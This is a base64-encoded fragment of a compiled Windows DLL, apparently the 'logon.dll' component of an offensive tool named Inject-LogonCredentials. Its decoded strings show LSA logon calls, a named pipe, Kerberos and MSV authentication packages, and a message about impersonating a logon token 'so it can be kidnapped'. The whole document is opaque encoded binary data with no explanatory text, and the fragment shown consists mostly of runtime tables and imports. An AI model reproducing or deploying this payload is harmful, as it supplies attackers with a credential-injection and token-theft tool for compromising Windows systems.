sAABfX2Zhc3RjYWxsAABfX2NscmNhbGwAAABfX2VhYmkAAF9fcHRyNjQAX19yZXN0cmljdAAAX191bmFsaWduZWQAcmVzdHJpY3QoAAAAIG5ldwAAAAAgZGVsZXRlAD0AAAA+PgAAPDwAACEAAAA9PQAAIT0AAFtdAABvcGVyYXRvcgAAAAAtPgAAKgAAACsrAAAtLQAALQAAACsAAAAmAAAALT4qAC8AAAAlAAAAPAAAADw9AAA+AAAAPj0AACwAAAAoKQAAfgAAAF4AAAB8AAAAJiYAAHx8AAAqPQAAKz0AAC09AAAvPQAAJT0AAD4+PQA8PD0AJj0AAHw9AABePQAAYHZmdGFibGUnAAAAYHZidGFibGUnAAAAYHZjYWxsJwBgdHlwZW9mJwAAAABgbG9jYWwgc3RhdGljIGd1YXJkJwAAAABgc3RyaW5nJwAAAABgdmJhc2UgZGVzdHJ1Y3RvcicAAGB2ZWN0b3IgZGVsZXRpbmcgZGVzdHJ1Y3RvcicAAAAAYGRlZmF1bHQgY29uc3RydWN0b3IgY2xvc3VyZScAAABgc2NhbGFyIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGB2ZWN0b3IgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgdmlydHVhbCBkaXNwbGFjZW1lbnQgbWFwJwAAYGVoIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAYGVoIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwBgZWggdmVjdG9yIHZiYXNlIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYGNvcHkgY29uc3RydWN0b3IgY2xvc3VyZScAAGB1ZHQgcmV0dXJuaW5nJwBgRUgAYFJUVEkAAABgbG9jYWwgdmZ0YWJsZScAYGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZScAIG5ld1tdAAAgZGVsZXRlW10AAABgb21uaSBjYWxsc2lnJwAAYHBsYWNlbWVudCBkZWxldGUgY2xvc3VyZScAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBtYW5hZ2VkIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwBgZHluYW1pYyBpbml0aWFsaXplciBmb3IgJwAAYGR5bmFtaWMgYXRleGl0IGRlc3RydWN0b3IgZm9yICcAAAAAYHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAYHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgbWFuYWdlZCB2ZWN0b3IgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBsb2NhbCBzdGF0aWMgdGhyZWFkIGd1YXJkJwAgVHlwZSBEZXNjcmlwdG9yJwAAACBCYXNlIENsYXNzIERlc2NyaXB0b3IgYXQgKAAgQmFzZSBDbGFzcyBBcnJheScAACBDbGFzcyBIaWVyYXJjaHkgRGVzY3JpcHRvcicAAAAAIENvbXBsZXRlIE9iamVjdCBMb2NhdG9yJwAAAAaAgIaAgYAAABADhoCGgoAUBQVFRUWFhYUFAAAwMIBQgIgACAAoJzhQV4AABwA3MDBQUIgAAAAgKICIgIAAAABgaGBoaGgICAd4cHB3cHAICAAACAAIAAcIAAAAU3VuAE1vbgBUdWUAV2VkAFRodQBGcmkAU2F0AFN1bmRheQAATW9uZGF5AABUdWVzZGF5AFdlZG5lc2RheQAAAFRodXJzZGF5AAAAAEZyaWRheQAAU2F0dXJkYXkAAAAASmFuAEZlYgBNYXIAQXByAE1heQBKdW4ASnVsAEF1ZwBTZXAAT2N0AE5vdgBEZWMASmFudWFyeQBGZWJydWFyeQAAAABNYXJjaAAAAEFwcmlsAAAASnVuZQAAAABKdWx5AAAAAEF1Z3VzdAAAU2VwdGVtYmVyAAAAT2N0b2JlcgBOb3ZlbWJlcgAAAABEZWNlbWJlcgAAAABBTQAAUE0AAE1NL2RkL3l5AAAAAGRkZGQsIE1NTU0gZGQsIHl5eXkASEg6bW06c3MAAAAAUwB1AG4AAABNAG8AbgAAAFQAdQBlAAAAVwBlAGQAAABUAGgAdQAAAEYAcgBpAAAAUwBhAHQAAABTAHUAbgBkAGEAeQAAAAAATQBvAG4AZABhAHkAAAAAAFQAdQBlAHMAZABhAHkAAABXAGUAZABuAGUAcwBkAGEAeQAAAFQAaAB1AHIAcwBkAGEAeQAAAAAARgByAGkAZABhAHkAAAAAAFMAYQB0AHUAcgBkAGEAeQAAAAAASgBhAG4AAABGAGUAYgAAAE0AYQByAAAAQQBwAHIAAABNAGEAeQAAAEoAdQBuAAAASgB1AGwAAABBAHUAZwAAAFMAZQBwAAAATwBjAHQAAABOAG8AdgAAAEQAZQBjAAAASgBhAG4AdQBhAHIAeQAAAEYAZQBiAHIAdQBhAHIAeQAAAAAATQBhAHIAYwBoAAAAQQBwAHIAaQBsAAAASgB1AG4AZQAAAAAASgB1AGwAeQAAAAAAQQB1AGcAdQBzAHQAAAAAAFMAZQBwAHQAZQBtAGIAZQByAAAATwBjAHQAbwBiAGUAcgAAAE4AbwB2AGUAbQBiAGUAcgAAAAAARABlAGMAZQBtAGIAZQByAAAAAABBAE0AAAAAAFAATQAAAAAATQBNAC8AZABkAC8AeQB5AAAAAABkAGQAZABkACwAIABNAE0ATQBNACAAZABkACwAIAB5AHkAeQB5AAAASABIADoAbQBtADoAcwBzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAIAAgACAAIAAgACAAIAAgACgAKAAoACgAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAIQAhACEAIQAhACEAIQAhACEAIQAEAAQABAAEAAQABAAEACBAIEAgQCBAIEAgQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAEAAQABAAEAAQABAAggCCAIIAggCCAIIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACABAAEAAQABAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIABoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQGBAYEBgQGBAYEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBARAAEAAQABAAEAAQAIIBggGCAYIBggGCAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgEQABAAEAAQACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABQAFAAQABAAEAAQABAAFAAQABAAEAAQABAAEAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBEAABAQEBAQEBAQEBAQEBAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECARAAAgECAQIBAgECAQIBAgECAQEBAAAAAICBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/4CBgoOEhYaHiImKi4yNjo+QkZKTlJWWl5iZmpucnZ6foKGio6SlpqeoqaqrrK2ur7CxsrO0tba3uLm6u7y9vr/AwcLDxMXGx8jJysvMzc7P0NHS09TV1tfY2drb3N3e3+Dh4uPk5ebn6Onq6+zt7u/w8fLz9PX29/j5+vv8/f7/AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWltcXV5fYEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlae3x9fn+AgYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6ytrq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+fr7/P3+/0MATwBOAE8AVQBUACQAAAABAgMEBQYHCAkKCwwNDg8QERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9AQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpbXF1eX2BhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ent8fX5/AEEAAAAXAAAAZ2VuZXJpYwB1bmtub3duIGVycm9yAAAAaW9zdHJlYW0AAAAAaW9zdHJlYW0gc3RyZWFtIGVycm9yAAAAc3lzdGVtAABpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgBzdHJpbmcgdG9vIGxvbmcAXABcAC4AXABwAGkAcABlAFwAcwBxAHMAdgBjAAAAAABFcnJvciBjYWxsaW5nIExzYUNvbm5lY3RVbnRydXN0ZWQuIEVycm9yIGNvZGU6IABoTFNBIChMU0EgaGFuZGxlKSBpcyBOVUxMLCB0aGlzIHNob3VsZG4ndCBldmVyIGhhcHBlbi4AAE1JQ1JPU09GVF9BVVRIRU5USUNBVElPTl9QQUNLQUdFX1YxXzAAAABLZXJiZXJvcwAAAABSZWNlaXZlZCBhbiBpbnZhbGlkIGF1dGggcGFja2FnZSBmcm9tIHRoZSBuYW1lZCBwaXBlAAAAAENhbGwgdG8gTHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlIGZhaWxlZC4gRXJyb3IgY29kZTogAENhbGwgdG8gT3BlblByb2Nlc3NUb2tlbiBmYWlsZWQuIEVycm9yY29kZTogAAAAAENhbGwgdG8gR2V0VG9rZW5JbmZvcm1hdGlvbiBmYWlsZWQuAEVycm9yIGNhbGxpbmcgTHNhTG9nb25Vc2VyLiBFcnJvciBjb2RlOiAAAAAAAAAAAExvZ29uIHN1Y2NlZWRlZCwgaW1wZXJzb25hdGluZyB0aGUgdG9rZW4gc28gaXQgY2FuIGJlIGtpZG5hcHBlZCBhbmQgc3RhcnRpbmcgYW4gaW5maW5pdGUgbG9vcCB3aXRoIHRoZSB0aHJlYWQuAAAlbHUAJWQAACVsZAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDABEOAZARAHAAAAUlNEU1ehpZ+qaddOugMQvq7frQoKAAAAQzpcR2l0aHViXFBvd2VyU2hlbGxFeHBlcmltZW50YWxcSW5qZWN0LUxvZ29uQ3JlZGVudGlhbHNcTG9nb25Vc2VyXExvZ29uVXNlclxSZWxlYXNlXGxvZ29uLnBkYgAAAAAAAIkAAACJAAAAAAAAABwwARAAAAAAAAAAAP////8AAAAAQAAAALQWARAAAAAAAAAAAAEAAADEFgEQmBYBEAAAAAAAAAAAAAAAAAAAAAAAMAEQ4BYBEAAAAAAAAAAAAgAAAPAWARD8FgEQmBYBEAAAAAAAMAEQAQAAAAAAAAD/////AAAAAEAAAADgFgEQAAAAAAAAAAAAAAAAODABECwXARAAAAAAAAAAAAIAAAA8FwEQSBcBEJgWARAAAAAAODABEAEAAAAAAAAA/////wAAAABAAAAALBcBEAAAAAAAAAAAAAAAAFgwARB4FwEQAAAAAAAAAAADAAAAiBcBEJgXARBIFwEQmBYBEAAAAABYMAEQAgAAAAAAAAD/////AAAAAEAAAAB4FwEQAAAAAAAAAAAAAAAAeDABEMgXARAAAAAAAAAAAAMAAADYFwEQ6BcBEEgXARCYFgEQAAAAAHgwARACAAAAAAAAAP////8AAAAAQAAAAMgXARAAAAAAAAAAAAAAAACgMAEQGBgBEAAAAAAAAAAAAQAAACgYARAwGAEQAAAAAKAwARAAAAAAAAAAAP////8AAAAAQAAAABgYARAAAAAAAAAAAAAAAAAcMAEQtBYBEAAAAAAAAAAAAAAAALAyARB0GAEQAAAAAAAAAAACAAAAhBgBEJAYARCYFgEQAAAAALAyARABAAAAAAAAAP////8AAAAAQAAAAHQYARAAAAAAAAAAAAEAAABsGQEQyD4BEAAAAAAAAAAA/////wAAAABAAAAArBgBEAAAAAAAAAAAAwAAAOgYARB0GQEQDBkBELwYARAAAAAAAAAAAAAAAAAAAAAA7D4BEMAZARDsPgEQAQAAAAAAAAD/////AAAAAEAAAADAGQEQcD4BEAIAAAAAAAAA/////wAAAABAAAAAkBkBEAAAAAAAAAAAAAAAAMg+ARCsGAEQAAAAAAAAAAAAAAAAcD4BEJAZARC8GAEQAAAAAJw+ARACAAAAAAAAAP////8AAAAAQAAAANgYARAAAAAAAAAAAAMAAADQGQEQAAAAAAAAAAAAAAAAnD4BENgYARAMGQEQvBgBEAAAAAAAAAAAAAAAAAIAAAC0GQEQKBkBEAwZARC8GAEQAAAAAMw1AAD9NQAAoEIAAOB5AABwnwAAULMAAHCzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2IgAQAAAAACAaARACAAAALBoBEEgaARAAAAAAADABEAAAAAD/////AAAAAAwAAADKIQAQAAAAABwwARAAAAAA/////wAAAAAMAAAA7zkAEAAAAAA4MAEQAAAAAP////8AAAAADAAAAAAiABAAAAAAQSIAEAAAAACQGgEQAwAAAKAaARBkGgEQSBoBEAAAAABYMAEQAAAAAP////8AAAAADAAAAOUhABAAAAAAQSIAEAAAAADMGgEQAwAAANwaARBkGgEQSBoBEAAAAAB4MAEQAAAAAP////8AAAAADAAAABsiABD+////AAAAANT///8AAAAA/v///wAAAADaKQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAHIsABAAAAAA/v///wAAAADU////AAAAAP7///8KLgAQJC4AEAAAAAD+////AAAAAMT///8AAAAA/v///wAAAAAXQQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAPRHABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAilAAEP7///8AAAAAllAAEP7///8AAAAA2P///wAAAAD+////AAAAAPpRABD+////AAAAAAlSABD+////AAAAAHz///8AAAAA/v///wAAAABnVQAQAAAAAP7///8AAAAA2P///wAAAAD+////BF4AEAheABAAAAAA/v///wAAAADY////AAAAAP7////QXQAQ1F0AEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABlagAQAAAAACpqABA0agAQ/v///wAAAACw////AAAAAP7///8AAAAAW2AAEAAAAACnXwAQsV8AEP7///8AAAAA2P///wAAAAD+////yWcAEM1nABAAAAAA/v///wAAAADY////AAAAAP7///+cXgAQpV4AEEAAAAAAAAAAAAAAAAhhABD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAANQcARAiBZMZAgAAAOQcARABAAAA9BwBEAAAAAAAAAAAAAAAAAEAAAAAAAAA/v///wAAAADU////AAAAAP7///9HaQAQS2kAEAAAAADiXgAQAAAAAFwdARACAAAAaB0BEEgaARAAAAAAsDIBEAAAAAD/////AAAAAAwAAADHXgAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAEFtABAAAAAA/v///wAAAADY////AAAAAP7///95bgAQjG4AEAAAAAD+////AAAAALz///8AAAAA/v///wAAAACocAAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHt0ABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA/HUAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAADxggAQAAAAAP7///8AAAAAyP///wAAAAD+////AAAAABOMABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAARJwAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAB+pQAQAAAAAAAAAABIpQAQ/v///wAAAADQ////AAAAAP7///8AAAAAFacAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAChpwAQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAAN2vABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA2bAAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAABmsQAQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAD+yABAiBZMZBAAAAJAfARACAAAAsB8BEAAAAAAAAAAAAAAAAAEAAAD/////AAAAAP////8AAAAAAQAAAAAAAAABAAAAAAAAAAIAAAACAAAAAwAAAAEAAADYHwEQAAAAAAAAAAADAAAAAQAAAOgfARBAAAAAAAAAAAAAAADCFgAQQAAAAAAAAAAAAAAAhRYAEGwhAQAAAAAAAAAAAMQhAQAkwQAAXCABAAAAAAAAAAAAPiIBABTAAABIIAEAAAAAAAAAAACoIgEAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeCIBAGQiAQBMIgEAjiIBAAAAAADeIQEA6iEBAP4hAQDQIQEAHiIBACYiAQAyIgEA1CYBAOQmAQD0JgEADiIBAJQkAQC2IgEAxiIBANYiAQDoIgEA/iIBABAjAQAcIwEAMCMBAEwjAQBkIwEAciMBAIgjAQCaIwEAsCMBALwjAQDMIwEA4iMBAO4jAQD6IwEACiQBACIkAQA0JAEAQiQBAGokAQCCJAEACCcBAKokAQDEJAEA2iQBAPQkAQAOJQEAKCUBAD4lAQBaJQEAeCUBAIwlAQCYJQEApiUBALQlAQC+JQEA0iUBAOolAQACJgEAFCYBACYmAQAwJgEAPCYBAEgmAQBWJgEAbCYBAHwmAQCMJgEAnCYBAK4mAQDCJgEAAAAAALQhAQCSIQEAfCEBAAAAAAAmAExzYUNvbm5lY3RVbnRydXN0ZWQALABMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACsATHNhTG9nb25Vc2VyAABTZWN1cjMyLmRsbADWAENyZWF0ZUZpbGVXAFgEUmVhZEZpbGUAACMCR2V0Q3VycmVudFByb2Nlc3MAagJHZXRMYXN0RXJyb3IAAOUAQ3JlYXRlTXV0ZXhXAABfBVNsZWVwAB0GbHN0cmxlblcAAPEFV3JpdGVGaWxlAEtFUk5FTDMyLmRsbAAA0wFMc2FOdFN0YXR1c1RvV2luRXJyb3IAEgJPcGVuUHJvY2Vzc1Rva2VuAABvAUdldFRva2VuSW5mb3JtYXRpb24AiQFJbXBlcnNvbmF0ZUxvZ2dlZE9uVXNlcgBBRFZBUEkzMi5kbGwAADwBRW5jb2RlUG9pbnRlcgAXAURlY29kZVBvaW50ZXIA4gFHZXRDb21tYW5kTGluZUEAKAJHZXRDdXJyZW50VGhyZWFkSWQAAEgEUmFpc2VFeGNlcHRpb24AALoEUnRsVW53aW5kAIMDSXNEZWJ1Z2dlclByZXNlbnQAiANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AG0DSW50ZXJsb2NrZWREZWNyZW1lbnQAAG0BRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAALUCR2V0UHJvY0FkZHJlc3MAAOwDTXVsdGlCeXRlVG9XaWRlQ2hhcgBWA0hlYXBTaXplAADdAkdldFN0ZEhhbmRsZQAAfQJHZXRNb2R1bGVGaWxlTmFtZVcAAFEDSGVhcEZyZWUAAE0DSGVhcEFsbG9jABcFU2V0TGFzdEVycm9yAABxA0ludGVybG9ja2VkSW5jcmVtZW50AAC6AkdldFByb2Nlc3NIZWFwAABXAkdldEZpbGVUeXBlAGYDSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAeAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgDXAkdldFN0YXJ0dXBJbmZvVwB8AkdldE1vZHVsZUZpbGVOYW1lQQAAPARRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAkAkdldEN1cnJlbnRQcm9jZXNzSWQA9AJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBAAkdldEVudmlyb25tZW50U3RyaW5nc1cAALcBRnJlZUVudmlyb25tZW50U3RyaW5nc1cA3QVXaWRlQ2hhclRvTXVsdGlCeXRlAJAFVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAABQBVNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBvBVRlcm1pbmF0ZVByb2Nlc3MAAIEFVGxzQWxsb2MAAIMFVGxzR2V0VmFsdWUAhAVUbHNTZXRWYWx1ZQCCBVRsc0ZyZWUAgQJHZXRNb2R1bGVIYW5kbGVXAABAAUVudGVyQ3JpdGljYWxTZWN0aW9uAAC9A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADCA0xvYWRMaWJyYXJ5RXhXAACNA0lzVmFsaWRDb2RlUGFnZQC+AUdldEFDUAAAoAJHZXRPRU1DUAAAzQFHZXRDUEluZm8AVANIZWFwUmVBbGxvYwAVBE91dHB1dERlYnVnU3RyaW5nVwAAwwNMb2FkTGlicmFyeVcAALEDTENNYXBTdHJpbmdXAAD2AUdldENvbnNvbGVDUAAACAJHZXRDb25zb2xlTW9kZQAACQVTZXRGaWxlUG9pbnRlckV4AADiAkdldFN0cmluZ1R5cGVXAAAvBVNldFN0ZEhhbmRsZQAA8AVXcml0ZUNvbnNvbGVXAK0BRmx1c2hGaWxlQnVmZmVycwAAjgBDbG9zZUhhbmRsZQAAAAAAAAAAAAAAAAAAAONTiVIAAAAAUicBAAEAAAABAAAAAQAAAEgnAQBMJwEAUCcBAHAXAABcJwEAAABsb2dvbi5kbGwAVm9pZEZ1bmMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADEzwAQAAAAAC4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